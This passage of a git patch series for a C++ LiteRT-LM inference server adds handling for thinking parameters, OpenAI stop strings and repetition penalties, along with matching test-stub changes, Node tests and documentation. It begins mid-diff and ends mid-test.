chat_template_kwargs.enable_thinking, then chat_template_kwargs.reasoning_effort, then thinking_budget_tokens (0 is +// off, n > 0 a budget of n, below 0 no budget), then the config's thinking keys. A budget of n > 0 applies whichever +// turned thinking on. reasoning_effort's levels other than none turn it on with no budget, and none turns it off, as in +// the Python server. +struct Thinking { + bool enable; + int budget; // -1: none + std::string from; +}; + +// Whether a model thinks, as its file says: its metadata's supports_thinking, else its template's switch or a thinking +// channel (gemma-3-270m-it has neither). +bool Thinks(const ModelFileInfo& m) { return m.supports_thinking ? *m.supports_thinking : m.thinking_switch || m.channel; } + +// The 400 for thinking turned on, by `t`, for a model that does not think. +HttpError ThinkingRefused(const ModelFileInfo& m, const Thinking& t, const std::string& id) { + return HttpError(400, "Invalid thinking parameters: " + t.from + " turns thinking on, but " + id + + (m.supports_thinking ? " does not think (its metadata says so)" : " does not think")); +} + +std::optional ParseThinking(const json& body, const ModelConfig& mc) { + auto effort = [](const json& v, const std::string& field) -> Thinking { + if (!v.is_string()) throw HttpError(400, "Invalid thinking parameters: ValueError: " + field + " must be a string"); + std::string e = Lower(v.get()); + if (e == "none") return {false, 0, field}; + if (e == "minimal" || e == "low" || e == "medium" || e == "high" || e == "xhigh") return {true, -1, field}; + throw HttpError(400, "Invalid thinking parameters: ValueError: Invalid " + field + " value: '" + e + "'. Supported strings: none, minimal, low, medium, high, xhigh."); + }; + auto has = [](const json& o, const char* k) { return o.contains(k) && !o[k].is_null(); }; + std::optional t; + if (has(body, "reasoning_effort")) t = effort(body["reasoning_effort"], "reasoning_effort"); + if (has(body, "chat_template_kwargs")) { + const json& ctk = body["chat_template_kwargs"]; + if (!ctk.is_object()) throw HttpError(400, "Invalid thinking parameters: ValueError: chat_template_kwargs must be an object"); + if (has(ctk, "enable_thinking")) { + if (!ctk["enable_thinking"].is_boolean()) { + throw HttpError(400, "Invalid thinking parameters: ValueError: chat_template_kwargs.enable_thinking must be a boolean"); + } + if (!t) t = Thinking{ctk["enable_thinking"].get(), ctk["enable_thinking"].get() ? -1 : 0, + "chat_template_kwargs.enable_thinking"}; + } + if (has(ctk, "reasoning_effort")) { + Thinking e = effort(ctk["reasoning_effort"], "chat_template_kwargs.reasoning_effort"); + if (!t) t = e; + } } - if (!mc.thinking && !mc.thinking_budget) return std::nullopt; + if (has(body, "thinking_budget_tokens")) { + const json& b = body["thinking_budget_tokens"]; + if (!b.is_number_integer()) throw HttpError(400, "Invalid thinking parameters: ValueError: thinking_budget_tokens must be an integer"); + const long long n = b.get(); + if (n > INT32_MAX) throw HttpError(400, "Invalid thinking parameters: ValueError: thinking_budget_tokens is too large"); + if (!t) { + t = Thinking{n != 0, n > 0 ? static_cast(n) : n == 0 ? 0 : -1, "thinking_budget_tokens"}; + } else if (t->enable && n > 0) { + t->budget = static_cast(n); + } else if (t->enable != (n != 0)) { + Log("thinking_budget_tokens " + std::to_string(n) + " is not used: " + t->from + " turned thinking " + + (t->enable ? "on" : "off")); + } + } + if (t || (!mc.thinking && !mc.thinking_budget)) return t; bool thinking = mc.thinking ? *mc.thinking : (*mc.thinking_budget != 0); int budget = mc.thinking_budget ? *mc.thinking_budget : (thinking ? -1 : 0); - return std::make_pair(thinking, budget); + return Thinking{thinking, budget, "the config's thinking"}; } // The sampler a conversation is created with. A session's sampler parameters replace the model's own entirely: the @@ -1577,7 +1653,7 @@ void HandleChatCompletions(int fd, const Request& req) { has_sampler = true; } } - auto thinking = ParseThinking(body, mc); + std::optional thinking = ParseThinking(body, mc); auto constraint = ParseResponseFormat(body); json tools = json::array(); @@ -1624,6 +1700,15 @@ void HandleChatCompletions(int fd, const Request& req) { note_parts(prompt); std::lock_guard engine_lock(g_engine_mu); + // Thinking turned on for a model that does not think is refused before anything loads, as an image for a model + // without vision is (GetOrCreateEngine): refused once loaded, it first released the model that was loaded and + // loaded this one (gemma-3-270m-it with reasoning_effort "high": a 400 after 0.6 s, and the next request to the + // model before it paid its whole load again). A file whose header the server cannot read is left to the check + // below, once the runtime has loaded it, as before. + if (thinking && thinking->enable) { + const ModelFileInfo& info = FileInfo(ref); + if (info.capabilities_known && !Thinks(info)) throw ThinkingRefused(info, *thinking, ref.id); + } LiteRtLmEngine* engine = GetOrCreateEngine(ref, mc, needs); // Engine.create_conversation, with the options the serve path passes, but constrained decoding only with tools @@ -1663,11 +1748,47 @@ void HandleChatCompletions(int fd, const Request& req) { L.litert_lm_conversation_config_set_enable_constrained_decoding(cc, constrain_tools); LiteRtLmConstraintProviderType provider = kLiteRtLmConstraintProviderTypeLlGuidance; if (constraint) L.litert_lm_conversation_config_set_constraint_provider(cc, &provider); + // The model's thinking. A model that does not think (its metadata says so, or it has neither the template's switch + // nor a thinking channel: gemma-3-270m-it) cannot be asked to: a 400, before it loads (above) when the server could + // read its header, else here. Turning it off there changes nothing, so nothing is set. A model whose file does not + // say, whose template has no switch, but that has a channel (LFM2.5-230M, which does not think, and + // LFM2.5-1.2B-Thinking, which always does) gets what was asked as asked: LiteRT-LM 0.18.0 can neither turn on nor + // stop thinking there by itself (a budget of 0 sets no constraint, tasks.cc), and nothing in such a file tells the + // two apart, so a 400 for one would refuse the other. The server says so in its log once and, since a client sees + // nothing of that log, in every such reply's X-Thinking header ("unverified"). + std::string note_headers; // headers that tell the client what the server did with its request + if (thinking) { + const ModelFileInfo& m = g_engine.info; + const bool thinks = Thinks(m); + if (!thinks && thinking->enable) { + L.litert_lm_conversation_config_delete(cc); + throw ThinkingRefused(m, *thinking, ref.id); + } + if (!thinks) { + thinking.reset(); + } else if (!m.supports_thinking && !m.thinking_switch) { + note_headers += "X-Thinking: unverified\r\n"; + static std::set told; + if (told.insert(ref.path).second) { + Log(ref.id + " does not say whether it thinks, and its template has no switch for it; thinking " + + (thinking->enable ? "on" : "off") + " (" + thinking->from + ") is passed to it as asked"); + } + } + } if (thinking) { - LiteRtLmThinkingConfig* t = MakeThinking(thinking->first, thinking->second); + LiteRtLmThinkingConfig* t = MakeThinking(thinking->enable, thinking->budget); L.litert_lm_conversation_config_set_thinking_config(cc, t); L.litert_lm_thinking_config_delete(t); } + // chat_template_kwargs is the template's extra context, for the preface and for the message, and its + // enable_thinking is what was decided above, which the template reads in place of the thinking config's + // (conversation.cc), so that the template and the decoder's budget agree. + json extra_context = body.contains("chat_template_kwargs") && body["chat_template_kwargs"].is_object() + ? body["chat_template_kwargs"] + : json::object(); + if (thinking && !extra_context.empty()) extra_context["enable_thinking"] = thinking->enable; + const std::string extra_context_str = extra_context.dump(); + if (!extra_context.empty()) L.litert_lm_conversation_config_set_extra_context(cc, extra_context_str.c_str()); // Declared before the conversation so it is freed after it: deleting the conversation waits for its generation to // end (~SessionAdvanced's WaitUntilDone), and until then the runtime may call StreamCallback with this queue, even // after a chunk marked final (see the error branch of the drain loop below). @@ -1730,7 +1851,8 @@ void HandleChatCompletions(int fd, const Request& req) { std::string msg_str = prompt.dump(); L.litert_lm_clear_last_error(); g_engine.state_used = true; // even a send that fails may have prefilled part of the message - int rc = L.litert_lm_conversation_send_message_stream(conv.get(), msg_str.c_str(), "{}", oa, StreamCallback, &q); + int rc = L.litert_lm_conversation_send_message_stream(conv.get(), msg_str.c_str(), extra_context_str.c_str(), oa, + StreamCallback, &q); L.litert_lm_conversation_optional_args_delete(oa); // Declared after the queue and the conversation, so it runs before either is destroyed. StreamGuard guard(q_owner, conv.get()); @@ -1749,7 +1871,7 @@ void HandleChatCompletions(int fd, const Request& req) { if (stream) { std::string head = "HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nCache-Control: no-cache\r\nConnection: close\r\n" + - CorsHeaders(req) + "\r\n"; + note_headers + CorsHeaders(req) + "\r\n"; headers_sent = true; SendAll(fd, head + Sse(make_chunk(json::array({{{"index", 0}, {"delta", {{"role", "assistant"}}}, {"finish_reason", nullptr}}})))); } @@ -1909,7 +2031,7 @@ void HandleChatCompletions(int fd, const Request& req) { {"choices", json::array({{{"index", 0}, {"message", message}, {"finish_reason", finish}}})}, {"usage", usage}, {"timings", timings}}; - SendJson(fd, req, 200, resp); + SendJson(fd, req, 200, resp, note_headers); } catch (const HttpError& e) { Log("request failed: " + std::string(e.what())); if (!headers_sent) SendError(fd, req, e.status, e.what()); diff --git a/engines/litert-lm-server/testdata/fake_litert_lm.cc b/engines/litert-lm-server/testdata/fake_litert_lm.cc index 8cc870c..fa917bf 100644 --- a/engines/litert-lm-server/testdata/fake_litert_lm.cc +++ b/engines/litert-lm-server/testdata/fake_litert_lm.cc @@ -43,7 +43,9 @@ struct LiteRtLmSamplerParams { struct LiteRtLmSessionConfig { nlohmann::json sampler; }; -struct LiteRtLmThinkingConfig {}; +struct LiteRtLmThinkingConfig { + nlohmann::json j = nlohmann::json::object(); +}; struct LiteRtLmConversationConfig { bool constrained = false, tools = false, provider = false; nlohmann::json config = nlohmann::json::object(); @@ -123,6 +125,16 @@ void litert_lm_conversation_config_set_session_config(LiteRtLmConversationConfig LiteRtLmThinkingConfig* litert_lm_thinking_config_create() { return new LiteRtLmThinkingConfig; } void litert_lm_thinking_config_delete(LiteRtLmThinkingConfig* c) { delete c; } +void litert_lm_thinking_config_set_enable_thinking(LiteRtLmThinkingConfig* c, bool enable) { c->j["enable"] = enable; } +void litert_lm_thinking_config_set_thinking_token_budget(LiteRtLmThinkingConfig* c, int32_t budget) { + c->j["budget"] = budget; +} +void litert_lm_conversation_config_set_thinking_config(LiteRtLmConversationConfig* c, const LiteRtLmThinkingConfig* t) { + c->config["thinking"] = t->j; +} +void litert_lm_conversation_config_set_extra_context(LiteRtLmConversationConfig* c, const char* extra_context_json) { + c->config["extra_context"] = nlohmann::json::parse(extra_context_json ? extra_context_json : "null", nullptr, false); +} LiteRtLmConversationConfig* litert_lm_conversation_config_create() { return new LiteRtLmConversationConfig; } void litert_lm_conversation_config_delete(LiteRtLmConversationConfig* c) { delete c; } @@ -169,9 +181,12 @@ void litert_lm_conversation_optional_args_set_constraint(LiteRtLmConversationOpt a->pattern = pattern ? pattern : ""; } -int litert_lm_conversation_send_message_stream(LiteRtLmConversation* conv, const char*, const char*, - const LiteRtLmConversationOptionalArgs* a, +int litert_lm_conversation_send_message_stream(LiteRtLmConversation* conv, const char* message, + const char* extra_context, const LiteRtLmConversationOptionalArgs* a, LiteRtLmStreamCallback callback, void* data) { + Record({{"call", "send_message"}, + {"message", nlohmann::json::parse(message ? message : "null", nullptr, false)}, + {"extra_context", nlohmann::json::parse(extra_context ? extra_context : "null", nullptr, false)}}); const LiteRtLmConstraintType type = a ? a->type : kLiteRtLmConstraintTypeNone; if (type == kLiteRtLmConstraintTypeRegex && a->pattern == "(") { g_error = "INTERNAL: Failed to create LLGuidance constraint: invalid regex \"(\": unclosed group"; diff --git a/engines/litert-lm-server/testdata/harness.mjs b/engines/litert-lm-server/testdata/harness.mjs index c98cf41..f79dab7 100644 --- a/engines/litert-lm-server/testdata/harness.mjs +++ b/engines/litert-lm-server/testdata/harness.mjs @@ -104,7 +104,7 @@ export async function request(url, init, ms) { const signal = AbortSignal.timeout(ms) try { const res = await fetch(url, { ...init, signal }) - return { status: res.status, text: await res.text() } + return { status: res.status, text: await res.text(), headers: res.headers } } catch (err) { if (!signal.aborted) throw err throw new Error(`${init?.method ?? 'GET'} ${url} ${init?.body ?? ''}: no reply in ${ms / 1000} s`) @@ -129,6 +129,7 @@ export async function chat(server, body, ms = 30_000) { reasoning: chunks.map((c) => c.choices[0]?.delta?.reasoning_content ?? '').join(''), finish: chunks.at(-1).choices[0].finish_reason, chunks, + headers: res.headers, } } const json = JSON.parse(text) @@ -140,6 +141,7 @@ export async function chat(server, body, ms = 30_000) { tool_calls: json.choices[0].message.tool_calls, finish: json.choices[0].finish_reason, usage: json.usage, + headers: res.headers, } } From 0b13b7772914d1f2a569deb889d86898a88afe40 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 20:05:13 +0000 Subject: [PATCH 72/80] fix(litert-lm-server): a request's stop strings end the reply The OpenAI `stop` field was ignored: the server read it nowhere, so the stop sequences a user sets for a thread (the daemon sends them as `stop`) and those API clients send had no effect. On LFM2.5-230M, "Write one sentence about the sea." with "stop": ["ocean"] returned the whole sentence, "ocean" and all, streamed or not, with finish_reason "stop". The C API has no stop strings of its own (it knows only the model's stop tokens), so the server has to apply them. The Python `litert-lm serve` ignores `stop` too. Older bug: origin/main has it (no stop handling since f9bd21c). - engines/litert-lm-server/src/main.cc: `stop`, a string or an array of strings (empty ones are skipped; anything else is a 400 "stop must be a string or an array of strings"), ends the reply's text before the first of them, streamed or not, and cancels the generation there; the reply's finish_reason is "stop". In a stream, text that could be the start of a stop string is held back until the next chunk tells, so no part of one is ever sent, and text held back when the reply ends on its own is sent then. Only the reply's text is cut, not its thinking or tool calls, as OpenAI's stop works; tool calls after a stop string are dropped with the rest. - BUILDING-ENGINES.md: says so under "What the server is". Behaviour change: a request with stop strings gets its reply cut before the first one, which it never contains, and the model stops generating there instead of running on to its own end. Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library, which can now stream a reply three bytes to a chunk and logs cancels: "a stop string ends the reply before it, streamed or not, and stops the generation" (one stop string, none matching, a reply that ends on the start of one, a string, the first of two, empty strings, bad types); and, with LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS set, "a real model's reply ends before a stop string, streamed or not: " (the reply's second word as the stop string, seeded and without thinking; passes on LFM2.5-230M_int8, gemma-3-270m-it and Qwen3-0.6B). With main.cc as it was, both fail: 'The sea is a vast ocean that never ends.' for 'The sea is a vast ', and on LFM2.5-230M_int8 the whole sentence for 'The sea is a '. No existing test changed. --- BUILDING-ENGINES.md | 6 ++ .../litert-lm-server/model-settings.test.mjs | 58 ++++++++++++++++++ engines/litert-lm-server/src/main.cc | 61 ++++++++++++++++++- .../testdata/fake_litert_lm.cc | 24 ++++++-- 4 files changed, 143 insertions(+), 6 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index d3f6753..097cee5 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -413,6 +413,12 @@ stop such a model from thinking (a budget of 0 sets no constraint), and nothing the two apart, so a 400 for one would refuse the other. The server logs that once, and every such reply carries `X-Thinking: unverified`, since a client sees nothing of the server's log. +**OpenAI's `stop` is applied by the server**, which the C API cannot do (it knows only the +model's stop tokens): the reply's text ends before the first stop string, streamed or not, and +the generation is cancelled there, with `finish_reason` "stop". Text that could be the start of +a stop string is held back until the next chunk tells, so no part of one is ever sent. It +applies to the reply's text only, not to its thinking or tool calls, as OpenAI's does. + **The library is loaded with `dlopen(RTLD_LOCAL)`, not linked**, and the server's own C++ runtime is static and unexported. `liblitert-lm.so` carries its own statically linked C++ runtime and *exports* it; when the server was linked against the library, the linker diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index 7d7a7c3..83f2c80 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -599,3 +599,61 @@ for (const path of thinkingModels.length ? thinkingModels : ['']) { } }) } + +test('a stop string ends the reply before it, streamed or not, and stops the generation', { skip, timeout: 60_000 }, async () => { + const model = readable('plain') + const say = (text) => [{ role: 'user', content: `say:${text}` }] // the stand-in streams it back, three bytes a chunk + for (const stream of [false, true]) { + const ask = async (text, stop) => { + const reply = await chat(fake, { model, messages: say(text), stop, stream }) + assert.equal(reply.status, 200, reply.error) + return reply + } + let stopped + const log = await callsDuring(async () => { stopped = await ask('The sea is a vast ocean that never ends.', ['ocean']) }) + assert.equal(stopped.content, 'The sea is a vast ', `stream ${stream}`) + assert.equal(stopped.finish, 'stop') + assert.ok(log.some((c) => c.call === 'cancel_process'), 'the generation was not cancelled') + if (stream) { + // Nothing of the stop string went out, not even the part of it that came in one chunk ("oce"). + const sent = stopped.chunks.map((c) => c.choices[0]?.delta?.content ?? '') + assert.ok(sent.every((t) => !t.includes('oc')), JSON.stringify(sent)) + } + assert.equal((await ask('The sea is calm.', ['xyz'])).content, 'The sea is calm.') + // A reply that only looked as if it might become one ends whole. + assert.equal((await ask('It ends with oc', ['ocean'])).content, 'It ends with oc') + assert.equal((await ask('The sea is calm.', 'is')).content, 'The sea ') + assert.equal((await ask('The sea is a vast ocean.', ['vast', 'sea'])).content, 'The ') + assert.equal((await ask('Hello', ['', 'xyz'])).content, 'Hello') + } + for (const stop of [5, [1], [{}]]) { + const reply = await chat(fake, { model, messages: say('x'), stop }) + assert.deepEqual(reply, { status: 400, error: 'stop must be a string or an array of strings' }) + } +}) + +for (const path of realModels.length ? realModels : ['']) { + test(`a real model's reply ends before a stop string, streamed or not: ${path}`, { skip: skipReal, timeout: 900_000 }, async () => { + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + // Seeded, and without thinking, so the reply is text and the same each time. + const ask = (extra) => chat(server, { model: `${path},cpu`, messages: [{ role: 'user', content: 'Write one sentence about the sea.' }], max_completion_tokens: 48, seed: 1, reasoning_effort: 'none', ...extra }, 300_000) + const whole = await ask({}) + assert.equal(whole.status, 200, whole.error) + const words = whole.content.split(/\s+/).filter((w) => /^[a-z]{3,}$/.test(w)) + assert.ok(words.length >= 2, `too short: ${whole.content}`) + const stop = words[1] + const expected = whole.content.slice(0, whole.content.indexOf(stop)) + for (const stream of [false, true]) { + const reply = await ask({ stop: [stop], stream }) + assert.equal(reply.status, 200, reply.error) + assert.equal(reply.content, expected, `stop ${JSON.stringify(stop)}, stream ${stream}`) + assert.equal(reply.finish, 'stop') + } + } finally { + stopServer(server) + } + }) +} diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index e9dc389..09e6bd9 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -1685,6 +1685,20 @@ void HandleChatCompletions(int fd, const Request& req) { include_usage = so.at("include_usage").get(); } } + // OpenAI's stop: a string or an array of them. It was read nowhere, so the user's stop sequences (the daemon sends + // a thread's) and API clients' were silently ignored. The C API has no stop strings of its own, only the model's + // stop tokens, so the server ends the reply at the first of them itself, in the drain loop below. + std::vector stops; + if (body.contains("stop") && !body["stop"].is_null()) { + const json& st = body["stop"]; + for (const json& one : st.is_array() ? st : json::array({st})) { + if (!one.is_string()) { + SendError(fd, req, 400, "stop must be a string or an array of strings"); + return; + } + if (!one.get().empty()) stops.push_back(one.get()); + } + } // The parts TranslateMessage made of image_url and input_audio parts, or that the client sent as LiteRT-LM's own. InputNeeds needs; @@ -1883,6 +1897,40 @@ void HandleChatCompletions(int fd, const Request& req) { std::optional error; bool client_gone = false; bool cancelled = false; + // The stop strings apply to the reply's text only, as OpenAI's do, not to its thinking or its tool calls. Text that + // could be the start of one is held back until the next chunk tells; at a stop string the reply ends before it, + // never showing it, and the generation is cancelled, which the loop below then takes as the quiet end it is. + std::string held; + bool stopped = false; + auto apply_stops = [&](std::string text) { + if (stops.empty()) return text; + if (stopped) return std::string(); + held += text; + size_t at = std::string::npos; + for (const auto& stop : stops) at = std::min(at, held.find(stop)); + if (at != std::string::npos) { + text = held.substr(0, at); + held.clear(); + stopped = true; + if (!cancelled) { + cancelled = true; + L.litert_lm_conversation_cancel_process(conv.get()); + } + return text; + } + size_t keep = 0; + for (const auto& stop : stops) { + for (size_t n = std::min(stop.size() - 1, held.size()); n > keep; --n) { + if (held.compare(held.size() - n, n, stop, 0, n) == 0) { + keep = n; + break; + } + } + } + text = held.substr(0, held.size() - keep); + held.erase(0, held.size() - keep); + return text; + }; // Drain the callback queue until the final chunk. Meanwhile watch the client, at most every 200 ms: a closed // connection cancels the generation (the Python server only noticed on its next write). Checked between chunks @@ -1944,6 +1992,8 @@ void HandleChatCompletions(int fd, const Request& req) { break; } Piece p = ParseChunk(item.text); + p.text = apply_stops(p.text); + if (stopped) p.tool_calls = json::array(); if (!p.reasoning.empty()) ++reasoning_tokens; // The runtime sends each tool-call block as its own chunk once the block closes, so parallel calls from a model // that writes one block per call (Qwen's ) arrive in several chunks. An OpenAI stream numbers a turn's @@ -1976,6 +2026,13 @@ void HandleChatCompletions(int fd, const Request& req) { reasoning_all += p.reasoning; done = item.final; } + // The end of a reply that only looked as if it might become a stop string. + if (!held.empty() && !error) { + if (stream && !client_gone) { + SendAll(fd, Sse(make_chunk(json::array({{{"index", 0}, {"delta", {{"content", held}}}, {"finish_reason", nullptr}}})))); + } + text_all += held; + } if (client_gone) { Log("client disconnected — generation cancelled"); return; @@ -1987,7 +2044,7 @@ void HandleChatCompletions(int fd, const Request& req) { // take while writing it. if (!error) { UsageAndTimings(conv.get(), reasoning_tokens, usage, timings); - if (finish == "stop" && max_tokens && usage["completion_tokens"].get() >= *max_tokens) finish = "length"; + if (finish == "stop" && !stopped && max_tokens && usage["completion_tokens"].get() >= *max_tokens) finish = "length"; // A full context window ends the turn with an ordinary final chunk: the conversation API reports it as an error // only with return_error_on_max_tokens_reached, which defaults to off and which LiteRT-LM 0.18.0's C API has no // way to turn on. So it is told from the counts. The runtime stops once the KV cache holds max_num_tokens, and @@ -1995,7 +2052,7 @@ void HandleChatCompletions(int fd, const Request& req) { // reply. Only a limit this server set is known: a bundle whose own cache is smaller caps the window lower, and // a reply cut off there still reads "stop". const int window = g_engine.key.max_num_tokens; - if (finish == "stop" && window > 0 && usage["total_tokens"].get() >= window) finish = "length"; + if (finish == "stop" && !stopped && window > 0 && usage["total_tokens"].get() >= window) finish = "length"; } if (stream) { diff --git a/engines/litert-lm-server/testdata/fake_litert_lm.cc b/engines/litert-lm-server/testdata/fake_litert_lm.cc index fa917bf..2501345 100644 --- a/engines/litert-lm-server/testdata/fake_litert_lm.cc +++ b/engines/litert-lm-server/testdata/fake_litert_lm.cc @@ -15,7 +15,8 @@ // "config": {"sampler": {...}, ...}}. // A conversation answers with one chunk of text that says how it was created and sent, for example // "constrained=1 tools=1 provider=0 constraint=0 creates=3", where creates counts every litert_lm_conversation_create -// call in the process. A regex that does not compile fails the send as llguidance does +// call in the process; a message whose text starts with "say:" is answered with the rest of its text instead, three +// bytes to a chunk, as a model streams. A regex that does not compile fails the send as llguidance does // (llg_constraint_provider.cc:155-160). // // With FAKE_LITERT_LM_CALLS set to a file, the calls that say what the server asked the runtime for are appended to it, @@ -169,6 +170,7 @@ LiteRtLmConversation* litert_lm_conversation_create(LiteRtLmEngine* engine, Lite return nullptr; } void litert_lm_conversation_delete(LiteRtLmConversation* conv) { delete conv; } +void litert_lm_conversation_cancel_process(LiteRtLmConversation*) { Record({{"call", "cancel_process"}}); } LiteRtLmBenchmarkInfo* litert_lm_conversation_get_benchmark_info(LiteRtLmConversation*) { return nullptr; } LiteRtLmConversationOptionalArgs* litert_lm_conversation_optional_args_create() { @@ -196,9 +198,23 @@ int litert_lm_conversation_send_message_stream(LiteRtLmConversation* conv, const std::string text = "constrained=" + std::to_string(c.constrained) + " tools=" + std::to_string(c.tools) + " provider=" + std::to_string(c.provider) + " constraint=" + std::to_string(type) + " creates=" + std::to_string(g_creates); - LiteRtLmStreamChunk reply{"{\"role\":\"assistant\",\"content\":[{\"type\":\"text\",\"text\":\"" + text + "\"}]}", - nullptr, false}; - callback(data, &reply); + nlohmann::json m = nlohmann::json::parse(message ? message : "null", nullptr, false); + std::string said; + if (m.is_object() && m.contains("content")) { + const nlohmann::json& content = m["content"]; + if (content.is_string()) said = content.get(); + if (content.is_array() && !content.empty() && content[0].is_object()) said = content[0].value("text", ""); + } + std::vector chunks = {text}; + if (said.rfind("say:", 0) == 0) { + chunks.clear(); + for (size_t i = 4; i < said.size(); i += 3) chunks.push_back(said.substr(i, 3)); + } + for (const auto& piece : chunks) { + nlohmann::json out = {{"role", "assistant"}, {"content", {{{"type", "text"}, {"text", piece}}}}}; + LiteRtLmStreamChunk reply{out.dump(), nullptr, false}; + callback(data, &reply); + } LiteRtLmStreamChunk end{"", nullptr, true}; callback(data, &end); return 0; From b9be217ca48e10c34abd48bcaf32ac139d83b668 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 20:09:38 +0000 Subject: [PATCH 73/80] fix(litert-lm-server): repetition penalties reach the model presence_penalty, frequency_penalty and repetition_penalty, and repeat_penalty, the llama.cpp name the daemon sends for a LiteRT-LM model (a thread's Repeat penalty, or the one saved for the model), were all dropped: the server read none of them. LiteRT-LM 0.18.0 applies all three per message while it decodes (RepetitionPenaltyConfig, set through litert_lm_conversation_optional_args_set_repetition_penalty_config; runtime/core/tasks.cc), and the shipped libraries export the calls. On LFM2.5-230M, gemma-3-270m-it and Qwen3-0.6B, greedy, "Write two sentences about the sea." gave the same reply with frequency_penalty 2 or repeat_penalty 1.5 as with none. min_p, which LiteRT-LM has no sampler for, was dropped as quietly. The Python `litert-lm serve` drops them too. Older bug: origin/main has it (none of these fields is read). - engines/litert-lm-server/src/main.cc: a request's presence_penalty and frequency_penalty (OpenAI's subtractive penalties) and its repetition_penalty, or repeat_penalty when it sends that name (HuggingFace's multiplicative one, 1 being none, which is also llama.cpp's meaning), become the message's repetition penalty config. Its window follows what each name means: repeat_last_n when the request sets it, as llama.cpp reads it (0 turns the penalties off, -1 is the whole reply); else llama.cpp's default of the last 64 tokens for a request that says repeat_penalty; else the whole reply, as OpenAI's penalties and LiteRT-LM's default are. LiteRT-LM counts the reply's tokens only, not the prompt's. A request that sets none, or only neutral values, gets none, as before. A repetition penalty below 1, which in llama.cpp favours repeats and which LiteRT-LM clamps to 1 without a word, is a 400 ("repeat_penalty 0.9 is below 1, which LiteRT-LM does not take (1 is no penalty)"), as are a penalty that is not a number and a repeat_last_n below -1. min_p, which LiteRT-LM has no sampler for, is still not applied, but no longer silently: a request with one above 0 is answered with an X-Unapplied-Parameters: min_p header, streamed or not, and the server logs it once per model ("min_p is not applied to : LiteRT-LM has no min-p sampling"), under the engine lock as its other once-per-model notes are: each connection has its own thread, so two requests with a Min P at once would otherwise insert into the same set together, and a request refused before the engine logs nothing. A 400 would fail every chat of a thread or model whose saved settings have a Min P, which TurboLLM's daemon sends, chats that worked before. A min_p that is not a number is a 400. - src/litert_lm_api.h: resolves the seven calls (the six litert_lm_repetition_penalty_config_* and litert_lm_conversation_optional_args_set_repetition_penalty_config). - BUILDING-ENGINES.md: says so under "What the server is". Behaviour change: repetition, presence and frequency penalties now change what LiteRT-LM models write. A repeat_penalty below 1 is a 400 instead of being dropped (TurboLLM's own sliders do not go below 1 for Repeat penalty). A min_p above 0 is still not applied, and its reply now says so in the X-Unapplied-Parameters header. Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library, which now logs each message's optional arguments: "repetition penalties reach the model with llama.cpp's and OpenAI's meanings, and what LiteRT-LM cannot do is said" and "min_p is said once per model, by a request that is answered, also when requests with it arrive at once" (32 at once, refused for their response_format, log nothing; 16 answered ones for 8 models log one line each); and, with LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS set, "a real model's reply changes under a repetition penalty: " (greedy, without thinking: frequency_penalty 2 and repeat_penalty 1.5 must each change the reply). With main.cc as it was, all three fail: no penalty config at all, no X-Unapplied-Parameters header for min_p, and on LFM2.5-230M_int8, gemma-3-270m-it and Qwen3-0.6B the same reply with frequency_penalty 2. The second also fails with the note taken before the engine lock (32 lines from the refused requests). No existing test changed. --- BUILDING-ENGINES.md | 11 +++ .../litert-lm-server/model-settings.test.mjs | 78 ++++++++++++++++++ engines/litert-lm-server/src/litert_lm_api.h | 7 ++ engines/litert-lm-server/src/main.cc | 79 ++++++++++++++++++- .../testdata/fake_litert_lm.cc | 28 ++++++- 5 files changed, 201 insertions(+), 2 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 097cee5..484461a 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -419,6 +419,17 @@ the generation is cancelled there, with `finish_reason` "stop". Text that could a stop string is held back until the next chunk tells, so no part of one is ever sent. It applies to the reply's text only, not to its thinking or tool calls, as OpenAI's does. +**Repetition penalties go through LiteRT-LM's own** (`RepetitionPenaltyConfig`, applied per +message while it decodes): `presence_penalty` and `frequency_penalty` as OpenAI defines them, +and `repetition_penalty`, or llama.cpp's `repeat_penalty`, which the daemon sends +(multiplicative, 1 is none). The window is `repeat_last_n` when the request sets it, as +llama.cpp reads it (0 turns the penalties off, -1 is the whole reply); else the last 64 tokens +for `repeat_penalty`, llama.cpp's default; else the whole reply. LiteRT-LM counts the reply's +tokens only. A repetition penalty below 1, which LiteRT-LM would clamp to 1 without a word, is a +400. `min_p`, which it has no sampler for, is not applied, and a reply to a request with one +above 0 says so in its `X-Unapplied-Parameters: min_p` header: a 400 would fail every chat whose +saved settings have a Min P, chats that worked when it was dropped unread. + **The library is loaded with `dlopen(RTLD_LOCAL)`, not linked**, and the server's own C++ runtime is static and unexported. `liblitert-lm.so` carries its own statically linked C++ runtime and *exports* it; when the server was linked against the library, the linker diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index 83f2c80..703a613 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -657,3 +657,81 @@ for (const path of realModels.length ? realModels : ['']) { } }) } + +test('repetition penalties reach the model with llama.cpp\'s and OpenAI\'s meanings, and what LiteRT-LM cannot do is said', { skip, timeout: 60_000 }, async () => { + const model = readable('plain') + const penalties = async (request) => { + const log = await callsDuring(async () => { + const reply = await chat(fake, { model, messages: hello, ...request }) + assert.equal(reply.status, 